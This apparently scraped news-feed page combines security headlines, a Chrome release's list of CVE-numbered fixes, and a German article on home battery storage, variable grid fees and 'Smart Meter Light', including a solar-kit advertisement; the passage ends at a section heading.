Apple beschuldigt OpenAI und zwei Ex-Mitarbeiter, vertrauliche Informationen gestohlen zu haben. Es geht möglicherweise um KI-Hardware, die in direkte Konkurrenz zum iPhone treten soll.

Read more →

The post IT Security News Daily Summary 2026-07-10 appeared first on IT Security News.

Read more →

The post Massive Telstra Outage Hits Mobile Networks, Rail, and Payments in Australia appeared first on IT Security News.

The post Massive Telstra Outage Hits Mobile Networks, Rail, and Payments in Australia appeared first on TechRepublic.

Tags: #Hackerangriffe aktuell

Tags: #ChatGPT | #Künstliche Intelligenz

Read more →

The post AWS gives its ERP agent deny-by-default rules and a separate identity appeared first on IT Security News.

The post AWS gives its ERP agent deny-by-default rules and a separate identity appeared first on Help Net Security.

Tags: #windows 11

Tags: #Cyber Security | #EU | #Künstliche Intelligenz

Security Fixes and Rewards

Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.

This update includes 27 security fixes. Please see the Chrome Security Page for more information.

[N/A][518006275] Critical CVE-2026-15112: Use after free in Ozone. Reported by Google on 2026-05-29

[N/A][524045160] Critical CVE-2026-15129: Use after free in Views. Reported by Google on 2026-06-15

[$500][527385397] High CVE-2026-15132: Uninitialized Use in V8. Reported by Pierre Langlois from Arm on 2026-06-24

[$500][527406824] High CVE-2026-15133: Use after free in InterestGroups. Reported by Jihyeon Jeong (Compsec Lab, Seoul National University / Research Intern) on 2026-06-24

[N/A][515443146] High CVE-2026-15108: Integer overflow in Extensions API. Reported by Google on 2026-05-21

[N/A][516899138] High CVE-2026-15109: Uninitialized Use in ANGLE. Reported by Google on 2026-05-26

[N/A][516948486] High CVE-2026-15110: Use after free in Extensions. Reported by Google on 2026-05-27

[N/A][517508651] High CVE-2026-15111: Use after free in Views. Reported by Google on 2026-05-28

[N/A][520540744] High CVE-2026-15113: Use after free in Autofill. Reported by Google on 2026-06-05

[N/A][520565945] High CVE-2026-15114: Out of bounds read and write in Codecs. Reported by Google on 2026-06-06

[N/A][520576676] High CVE-2026-15115: Insufficient validation of untrusted input in WebAppInstalls. Reported by Google on 2026-06-06

[N/A][522092013] High CVE-2026-15116: Use after free in Actor. Reported by Google on 2026-06-10

[N/A][522568496] High CVE-2026-15117: Use after free in Payments. Reported by Google on 2026-06-11

[N/A][523238265] High CVE-2026-15118: Use after free in Input. Reported by Google on 2026-06-12

[N/A][523505418] High CVE-2026-15119: Inappropriate implementation in GetUserMedia. Reported by Google on 2026-06-13

[N/A][523609602] High CVE-2026-15120: Use after free in Core. Reported by Google on 2026-06-13

[N/A][523712556] High CVE-2026-15121: Use after free in WebRTC. Reported by Google on 2026-06-14

[N/A][523717219] High CVE-2026-15122: Insufficient validation of untrusted input in Codecs. Reported by Google on 2026-06-14

[N/A][523729553] High CVE-2026-15123: Insufficient data validation in DOM. Reported by Google on 2026-06-14

[N/A][523735038] High CVE-2026-15124: Insufficient policy enforcement in Passwords. Reported by Google on 2026-06-14

[N/A][523737685] High CVE-2026-15125: Inappropriate implementation in Forms. Reported by Google on 2026-06-14

[N/A][523748081] High CVE-2026-15126: Use after free in Forms. Reported by Google on 2026-06-14

[N/A][523752265] High CVE-2026-15127: Inappropriate implementation in WebGL. Reported by Google on 2026-06-14

[N/A][523756329] High CVE-2026-15128: Inappropriate implementation in Forms. Reported by Google on 2026-06-14

[N/A][526541544] High CVE-2026-15130: Insufficient policy enforcement in Navigation. Reported by Google on 2026-06-22

[$2000][503553615] Medium CVE-2026-15107: Use after free in IndexedDB. Reported by zh1x1an1221 of Ant Group Tianqiong Security Lab on 2026-04-17

[N/A][526542464] Medium CVE-2026-15131: Insufficient data validation in Navigation. Reported by Google on 2026-06-22

We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.

Many of our security bugs are detected using AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, or AFL.

Aus dem privaten Stromspeicher könnte bald mehr werden als eine stille Reserve für den Eigenverbrauch. Wenn variable Netzentgelte, Smart Meter Light und die geplanten Änderungen im EEG zusammenkommen, entsteht erstmals ein realistischer Rahmen, in dem auch kleine Heim- und Steckerspeicher aktiv zur Netzstabilisierung beitragen – und ihre Besitzer dafür wirtschaftlich profitieren können.

PROMOTION

40 % Rabatt bei “Kleines Kraftwerk”

Mehr Solarleistung & mehr Kontrolle! All das bietet Ihnen das Quattro XL-Balkonkraftwerk inklusive Anker Pro 3 Speicher. Das Premium-Set vereint vier leistungsstarke Solarmodule mit intelligenter Stromspeicherung. Erzeugen, speichern und nutzen Sie Ihren Solarstrom genau dann, wenn SIE ihn brauchen. Das Set gibt es jetzt für nur 1.307 €.

Sichern Sie sich dieses Top-Angebot!

Die drei Bausteine im Überblick

Der Entwurf zum EEG 2027 sieht bereits Vereinfachungen für Steckerspeicher vor. Parallel dazu hat die Bundesnetzagentur (BNetzA) im jüngsten Zwischenstand zum sogenannten AgNes-Verfahren die zeitnahe Einführung variabler Netzentgelte für Haushalte angekündigt, und zwar auch jenseits der bisherigen §14a-Regelung. Wörtlich heißt es dort:

„Im Bezug auf Flexibilitätspotentiale in der Niederspannung soll schnell und kontinuierlich an den Potentialen der Weiterentwicklung des zeitvariablen Netzentgelts für Heimspeicherbetreiber und Elektroautos weitergearbeitet werden. Denkbar ist die Einbeziehung von Verbrauchern in der Niederspannung im Rahmen eines Opt-in, welches so früh wie technisch möglich eingeführt werden soll.“

Am 1. Juli 2026 hat der Koalitionsausschuss von CDU/CSU und SPD die Einführung eines „Smart Meter Light“ beschlossen; vorgestellt wurden die Ergebnisse am 2. Juli. Dieses richtet sich an Kunden, die nicht unter den verpflichtenden Rollout fallen. Im Beschlusspapier heißt es:

“Für Kunden, die nicht dem verpflichtenden Rollout unterfallen, etablieren wir ein kostengünstiges ‘Smart Meter Light’, mit dem sie kostengünstig und cybersicher ihre Stromrechnung optimieren können.”

Voltaris

Gemeint ist ein vereinfachtes, günstigeres Messsystem für Haushalte, die bislang nicht verpflichtend mit einem intelligenten Messsystem ausgestattet werden. Es soll den Zugang zu zeitvariablen Tarifen und einer genaueren Verbrauchserfassung erleichtern, ohne die Kosten und den Aufwand des vollständigen Smart-Meter-Rollouts auszulösen.

Entscheidend wird sein, ob Smart Meter Light nicht nur Verbrauchsdaten anzeigt, sondern auch für Abrechnung und netzdienliche Steuerung zugelassen wird. Sollte dies nicht der Fall sein, könnten viele Haushalte zwar ihren Verbrauch besser analysieren, aber nicht vollständig an variablen Netzentgelten oder Flexibilitätsmärkten teilnehmen.

Damit würde ein zentraler Baustein der angestrebten Entwicklung zunächst nur eingeschränkt wirken.

Einordnung für Leser: Was bedeutet das konkret?

Für viele Haushalte klingen Begriffe wie „variable Netzentgelte“ oder „§14a“ zunächst abstrakt. Vereinfacht gesagt geht es darum, dass sich Stromkosten künftig stärker nach Zeitpunkt und Netzbelastung richten könnten. Wer Strom dann nutzt oder speichert, wenn das Netz wenig ausgelastet ist, zahlt weniger. Wer dagegen zu Spitzenzeiten verbraucht, zahlt mehr.

Neu ist, dass dieses Prinzip nicht mehr nur für Großverbraucher oder steuerbare Geräte gelten soll, sondern perspektivisch auch für normale Haushalte und kleine Speicher zugänglich wird

Woher kommt der Vorstoß?

Alle drei Forderungen sind keine neue Idee der Politik, sondern gehen unter anderem auf eine Petition der AG Balkonkraftwerk zurück, die gemeinsam mit dem Akkudoktor Andreas Schmitz im vergangenen Jahr in den Bundestag eingebracht wurde. Dass diese Punkte nun nacheinander aufgegriffen werden, ist für die Community ein wichtiges Signal.

Wie groß ist das Potenzial? Nach Zahlen des Bundesverbands Steckersolar liegen im Heim- und Kleinspeicherbereich bereits deutlich über 15 Gigawattstunden, aktuell sogar rund 20 Gigawattstunden, bislang ungenutzte Flexibilität zur Netzstabilisierung. Diese Menge wächst weiter an. Bislang lässt sie sich kaum sichtbar machen, weil die technischen und regulatorischen Voraussetzungen fehlen.

Was muss noch passieren, damit Ihr Speicher davon profitiert?

Damit diese Flexibilität tatsächlich gehoben werden kann, sind aus unserer Sicht zwei Schritte notwendig.

Zunächst müssen Steckerspeicher rechtlich den Steckersolargeräten gleichgestellt werden, damit sie überhaupt angemeldet und damit nutzbar werden. Der EEG-Entwurf greift diesen Punkt bereits in Ansätzen auf, wobei AC-Speicher darin noch fehlen.

Kleines Kraftwerk

Im zweiten Schritt braucht es ein Anreizsystem. Dieses sollte als freiwillige Opt-in-Lösung gestaltet sein, die nur bei optionalem Einbau greift und den netzdienlichen Einsatz belohnt, ohne zusätzliche bürokratische Hürden aufzubauen.

Damit ein solches Anreizsystem überhaupt funktionieren kann, braucht es wiederum zwei Voraussetzungen: die Öffnung variabler und perspektivisch dynamischer Netzentgelte für Haushalte außerhalb des §14a sowie die Anerkennung der Daten aus Smart Meter Light für Abrechnungszwecke.

Worauf Sie bei neuen Speichern achten sollten

Wer heute einen Speicher kauft oder ein bestehendes System erweitert, sollte bereits auf kommende Anforderungen achten. Entscheidend sind vor allem:

• Eine offene oder dokumentierte Schnittstelle (API), über die sich der Speicher extern steuern lässt
• Kompatibilität mit dynamischen Stromtarifen
• Integration in ein Home Energy Management System (HEMS)
• Updatefähigkeit der Software, um auf neue regulatorische Anforderungen reagieren zu können

Diese Punkte entscheiden künftig darüber, ob ein Speicher nur Eigenverbrauch optimiert oder aktiv am Energiemarkt teilnehmen kann.

Was bedeutet das praktisch?